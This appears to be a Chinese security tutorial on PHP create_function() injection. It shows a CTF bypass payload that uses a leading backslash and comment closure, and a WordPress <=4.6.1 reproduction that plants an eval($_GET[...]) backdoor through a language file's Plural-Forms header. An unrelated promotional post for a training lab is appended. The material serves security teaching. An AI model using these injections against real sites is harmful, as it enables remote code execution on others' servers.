什么是create_function? 版本影响: 注意:create_function在PHP7.2.0之后被废弃,因此该函数的适用范围在PHP 4 >= 4.0.1、PHP 5、 PHP 7<=7.2.0 简单讲解: 首先还是先看PHP手册,PHP官方对create_function是这么定义的: 首先该函数有两个参数,一个是函数参数,另一个是函数主体代码,并且该函数的范围值即为函数名。 举个例子: <?php $Lxxx = create_function('$str' , 'echo $str;phpinfo();'); echo $Lxxx; echo "<br>"; echo $Lxxx("hello"); 我们新建一个函数,名称为Lxxx,并且该函数的用途就是打印输出传入的字符串以及phpinfo页面。 此时我们访问页面如下: 可以看到,这个时候打印输出了hello以及phpinfo页面 除此之外,我们可以发现函数名是一串以lambda开头的字符串,也就是匿名函数。 这里我们可以发现,如果我们传入create_funtion中的第二个参数可控,那么我们就可以进行命令执行。 如何利用create_function()进行注入? 想要知道如何利用它进行注入,我们还得看看PHP官方手册是怎么说的: 其实就是需要我们注意,这个函数本身就是在内部执行eval函数, 因此我们可以将上方的代码改写成另一种等价的形式: <?php function lambda_6($str){    echo $str;    phpinfo(); } ?> 那我们试想,既然这个函数参数可控,并且内部执行了eval函数,我们能否利用它进行RCE呢? 假设我们有以下代码: <?php $ctf = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/i',$ctf)) {    $ctf('',$_GET['Lxxx']); } 其中传入的ctf参数不能以字母数字下划线开头,而Lxxx参数对于我们来说是完全可控的。 既然如此我们可以考虑使用create_function函数,但是这个时候会出现一个问题,传入的ctf参数不能以字母数字下划线开头,否则会产生匹配无法进入语句。 问题一: 那么该如何又使用create_function函数,又不以字母开头呢? 分析一: 答案就是:使用反斜杠。 因为在PHP中默认的命名空间为\,也就是说,所有的原生函数以及各种原生类,都是在\这个命名空间下,平常我们使用的各种函数,默认都是直接写函数名,但是并没有管命名空间,不写\调用函数相当于是一个相对路径,同理,既然有相对路径,那么就会有绝对路径。也就是说当我们调用函数的时候,如果函数的命名空间在\下,我们使用\function_name()的方式调用函数,同样也是可以的 问题二: 对于下方代码,虽然参数可控,但是除了命令以外,还有}这个不可控字符,如果存在这个字符会报错,该怎么办? <?php function lambda_6($str){    echo $str;    phpinfo(); } ?> 分析二: 注入的时候在末尾添加注释符,将后面的内容注释掉即可。 也就是说,我们只需要传如下payload即可: ?Lxxx=;}phpinfo();/* POSTDATA: ctf=\create_function WordPress中的create_function()注入 影响范围: WordPress<=4.6.1 漏洞复现: WordPress<=4.6.1的版本中,在wp-includes/pomo/translations.php文件中,有一处使用到了create_function函数 涉及到的代码如下: /** * Makes a function, which will return the right translation index, according to the * plural forms header * @param int   $nplurals * @param string $expression */ function make_plural_form_function($nplurals, $expression) { $expression = str_replace('n', '$n', $expression); $func_body = " \$index = (int)($expression); return (\$index < $nplurals)? \$index : $nplurals - 1;"; return create_function('$n', $func_body); } 从注释中我们可以知道:这个函数是根据在目录wp-content/languages下语言文件的plural forms这个header来创建函数并返回 首先该函数返回值中可控参数为$func_body,而该参数由$nplurals参数决定$func_body,并且$nplurals由语言文件中的plural forms决定,因此,只需要能控制语言文件,即可控制整一个create_function函数 首先plural forms在如下位置: 我们现在将第九行修改如下: "Plural-Forms: nplurals=1; plural=n);}eval($_GET[Lxxx]);/*" 用;}将前面的内容闭合,并且使用/*注释掉后面的代码 再将zh_CN.po文件重新编译生成zh_CN.mo,虽然提示有错,但是不影响我们编译。 这个时候在主页传payload: ?Lxxx=phpinfo(); 即可得到phpinfo页面,也就达成了RCE。 实验推荐:   https://www.yijinglab.com/expc.do?ec=ECID1eae-d41b-4f53-9280-21c9ef9385ba
这次没有如果,带着真题来了
正文:  每周五固定节目又来了!教师节为什么没有更新,因为备课去了,所以这周带着真题来讲解了。   训练终究只是训练,赛场才是最后的考验。真正的比赛中会包含CTF的不同题型,前面的Weekly CTF还在WEB赛段,在其它的题型出来之前,我们今天来提前感受下比赛中的真题,为以后参赛做准备。  本次讲解的是全国大学生网络安全技能大赛“蓝帽杯”的真题,可能大家在网上搜索也能发现很多writeup,不过我们实验室不仅提供解析还准备了实操环境,更绝的是还带视频讲解,这样就完美解决了文字枯燥想睡觉的问题。   今天给大家带来的第一题是WEB题型<杰克与肉丝>,对这就是真实的比赛,搞安全的也不全是耿直大直男只会取专业名词组成的题名,也是偶尔有皮的。这道题的考点大家应该还很熟悉了,前面几周的练习题都是反序列化的,这不真题就来考这个点了。如果有初学者不了解的,也可以上我们实验室的官网搜索关键词“反序列化”,有很多相关的实验可供学习,其它方向的也很齐全,大家按需学习即可,也可以加入讨论群或者咨询线上的客服进一步了解。想快速上手的话我们还有特训班,网络安全的几个方向都有覆盖到,学员的评价也都非常好,讲师无时无刻不在答疑(此处讲师行为惊呆B站官号运营并发了动态),小班授课非流水线模式,良心与实力兼备。  最后希望我们都能拥有很多很多的知识(qian),比赛题题会,考试门门过!我们赛场上见, 并提前祝大家月(kai)饼(xue)节(le)快乐~!    链接直达:http:// https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID9e84-22a0-4aca-a1f2-d6987bb83923 &